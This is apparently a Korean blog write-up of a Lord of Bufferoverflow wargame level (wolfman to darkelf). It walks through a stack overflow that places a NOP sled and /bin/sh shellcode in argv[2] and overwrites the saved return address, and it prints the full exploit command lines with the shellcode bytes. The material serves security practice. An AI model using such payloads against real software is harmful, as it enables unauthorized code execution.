LEVEL6
(wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter
이번 문제는 저번 문제에서 argv[1]의 길이를 48개보다 크면 exit(0)을 한다.
하지만 방법은 여러개가 있다.
파일명에 쉘코드를 삽입하거나 argv[2]에 넣어주면 될 것이다.
그럼 argv[2]에 쉘코드를 삽입해서 흐름을 그쪽으로 넘겨보자.
전 단계와 거의 비슷하므로 대충 설명하고 넘어가겠다.
argv[2]에는 NOP와 쉘코드를 넣어준후,
argv[1]에는 buffer+saved ebp 44byte를 채워주고 saved eip를 argv[2]에있는 NOP의 주소를 적어주면 쉘코드가 실행될 것이다.
./darkelf
`python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
이렇게 해서 값을 주겠다.
인자를 파이썬으로 여러개 주고싶다면,`python`을 써준후 한개 더 써주면 인자를 하나더 보낼 수 있다.
NOP의 주소가 보인다.
saved eip부분에 NOP의 주소를 써주자.
./darkelf
`python -c 'print "A"*44+"\x04\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
전단계와 비슷해서 쉽게 쉘을 땄다.
'WarGame > The Lord of Bufferoverflow(LOB)' 카테고리의 다른 글
The Lord of Bufferoverflow(LOB) darkelf -> orge (0) | 2017.12.25 |
---|---|
The Lord of Bufferoverflow(LOB) orc -> wolfman (0) | 2017.12.03 |
The Lord of Bufferoverflow(LOB) goblin -> orc (0) | 2017.12.03 |
The Lord of Bufferoverflow(LOB) cobolt -> goblin (0) | 2017.12.03 |
The Lord of Bufferoverflow(LOB) gremlin -> cobolt (0) | 2017.12.01 |